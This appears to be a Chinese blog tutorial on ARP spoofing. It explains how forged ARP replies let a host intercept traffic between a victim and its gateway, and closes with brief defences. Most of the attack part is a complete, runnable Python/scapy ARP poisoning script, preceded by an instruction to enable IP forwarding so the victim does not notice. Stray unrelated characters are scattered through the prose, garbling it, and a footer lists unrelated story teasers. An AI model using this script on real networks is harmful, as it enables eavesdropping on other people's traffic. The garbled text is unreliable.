ARP欺騙

ARP(Address Resolution Protocol)地址轉換協(xié)議洛搀,工作在OSI模型的數(shù)據(jù)鏈路層女阀,在以太網中漠其,網絡設備之間互相通信是用MAC地址而不是IP地址,ARP協(xié)議就是用來把IP地址轉換為MAC地址的瑞驱。而RARP和ARP相反娘摔,它是反向地址轉換協(xié)議,把MAC地址轉換為IP地址

假設A(192.168.1.2)與B(192.168.1.3)在同一局域網唤反,A要和B實現(xiàn)通信凳寺。A首先會發(fā)送一個數(shù)據(jù)包到廣播地址(192.168.1.255),該數(shù)據(jù)包中包含了源IP(A)彤侍、源MAC肠缨、目的IP(B)、目的MAC盏阶,這個數(shù)據(jù)包會被發(fā)放給局域網中所有的主機晒奕,但是只有B主機會回復一個包含了源IP(B)、源MAC名斟、目的IP(A)脑慧、目的MAC的數(shù)據(jù)包給A,同時A主機會將返回的這個地址保存在ARP緩存表中

上面提到過了ARP緩存表砰盐,在每臺主機都有一個ARP緩存表闷袒,緩存表中記錄了IP地址與MAC地址的對應關系,而局域網數(shù)據(jù)傳輸依靠的是MAC地址

假設主機 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 網關 G 192.168.1.1; 在同一局域網楞卡,主機A和B通過網關G相互通信霜运,就好比A和B兩個人寫信,由郵遞員G送信蒋腮,C永遠都不會知道A和B之間說了些什么話淘捡。但是并不是想象中的那么安全,在ARP緩存表機制存在一個缺陷池摧,就是當請求主機收到ARP應答包后焦除,不會去驗證自己是否向對方主機發(fā)送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關系保存進ARP緩存表中作彤,如果原有相同IP對應關系膘魄,原有的則會被替換

這樣C就有了偷聽A和B的談話的可能

C假扮郵遞員乌逐,首先要告訴A說:“我就是郵遞員” (C主機向A發(fā)送構造好的返回包创葡,源IP為G 192.168.1.1,源MAC為C自己的MAC地址),愚蠢的A很輕易的相信了蹬挤,直接把“C是郵遞員”這個信息記在了腦子里;

C再假扮A吨悍,告訴郵遞員:“我就是A” (C向網關G發(fā)送構造好的返回包,源IP為A 192.168.1.2爆雹,源MAC地址為自己的MAC地址)钙态,智商捉急的郵遞員想都沒想就相信了,以后就把B的來信送給了C驻子,C當然就可以知道A和B之間聊了些什么

上面ABC的故事就是ARP雙向欺騙的原理了

以下代碼很好地還原了實例馅袁,功能類似于arpspoof

在進行arp欺騙之前必須要開啟IP轉發(fā)犹褒,否則當欺騙成功之后李皇,目標機會斷網,這樣會被對方察覺

sysctl -w net.ipv4.ip_forward=1 或者 echo 1 > /proc/sys/net/ipv4/ip_forward

#!/usr/bin/python
 
import os
import sys
import signal
 
from scapy.all import (
    get_if_hwaddr,
    getmacbyip,
    ARP,
    Ether,
    sendp
)
from optparse import OptionParser
 
def main():
    try:
        if os.geteuid() != 0:
            print "[-] Run me as root"
            sys.exit(1)
    except Exception,msg:
        print msg
 
    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
 
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
 
    mac = get_if_hwaddr(options.interface)
 
    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print "[-] Error: Could not resolve targets MAC address"
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
 
        return pkt
 
    def build_rep():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print "[-] Error: Could not resolve targets MAC address"
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
 
        return pkt
 
    if options.mode == 'req':
        pkt = build_req()
    elif options.mode == 'rep':
        pkt = build_rep()
 
    if options.summary is True:
        pkt.show()
        ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
        if ans == 'y' or len(ans) == 0:
            pass
        else:
            sys.exit(0)
 
    while True:
        sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
    main()

怎樣防范ARP欺騙

  1. 在主機綁定網關MAC與IP地址為靜態(tài)(默認為動態(tài))睬隶,命令:arp -s 網關IP 網關MAC
  2. 在網關綁定主機MAC與IP地址
  3. 使用ARP防火墻
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市变勇,隨后出現(xiàn)的幾起案子飞袋,更是在濱河造成了極大的恐慌,老刑警劉巖纲仍,帶你破解...
    沈念sama閱讀 216,496評論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件锻拘,死亡現(xiàn)場離奇詭異婉宰,居然都是意外死亡,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,407評論 3 392
  • 文/潘曉璐 我一進店門炉爆,熙熙樓的掌柜王于貴愁眉苦臉地迎上來卧晓,“玉大人芬首,你說我怎么就攤上這事”岂桑” “怎么了郁稍?”我有些...
    開封第一講書人閱讀 162,632評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長胜宇。 經常有香客問我耀怜,道長,這世上最難降的妖魔是什么掸屡? 我笑而不...
    開封第一講書人閱讀 58,180評論 1 292
  • 正文 為了忘掉前任封寞,我火速辦了婚禮,結果婚禮上仅财,老公的妹妹穿的比我還像新娘狈究。我一直安慰自己,他們只是感情好盏求,可當我...
    茶點故事閱讀 67,198評論 6 388
  • 文/花漫 我一把揭開白布抖锥。 她就那樣靜靜地躺著,像睡著了一般碎罚。 火紅的嫁衣襯著肌膚如雪磅废。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,165評論 1 299
  • 那天荆烈,我揣著相機與錄音拯勉,去河邊找鬼竟趾。 笑死,一個胖子當著我的面吹牛宫峦,可吹牛的內容都是我干的岔帽。 我是一名探鬼主播,決...
    沈念sama閱讀 40,052評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼导绷,長吁一口氣:“原來是場噩夢啊……” “哼犀勒!你這毒婦竟也來了?” 一聲冷哼從身側響起妥曲,我...
    開封第一講書人閱讀 38,910評論 0 274
  • 序言:老撾萬榮一對情侶失蹤贾费,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后檐盟,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體褂萧,經...
    沈念sama閱讀 45,324評論 1 310
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 37,542評論 2 332
  • 正文 我和宋清朗相戀三年遵堵,在試婚紗的時候發(fā)現(xiàn)自己被綠了箱玷。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,711評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡陌宿,死狀恐怖,靈堂內的尸體忽然破棺而出波丰,到底是詐尸還是另有隱情壳坪,我是刑警寧澤,帶...
    沈念sama閱讀 35,424評論 5 343
  • 正文 年R本政府宣布掰烟,位于F島的核電站爽蝴,受9級特大地震影響,放射性物質發(fā)生泄漏纫骑。R本人自食惡果不足惜蝎亚,卻給世界環(huán)境...
    茶點故事閱讀 41,017評論 3 326
  • 文/蒙蒙 一先馆、第九天 我趴在偏房一處隱蔽的房頂上張望发框。 院中可真熱鬧,春花似錦煤墙、人聲如沸梅惯。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,668評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽铣减。三九已至,卻和暖如春脚作,著一層夾襖步出監(jiān)牢的瞬間葫哗,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,823評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留劣针,地道東北人校镐。 一個月前我還...
    沈念sama閱讀 47,722評論 2 368
  • 正文 我出身青樓,卻偏偏與公主長得像酿秸,于是被迫代替她去往敵國和親灭翔。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,611評論 2 353

推薦閱讀更多精彩內容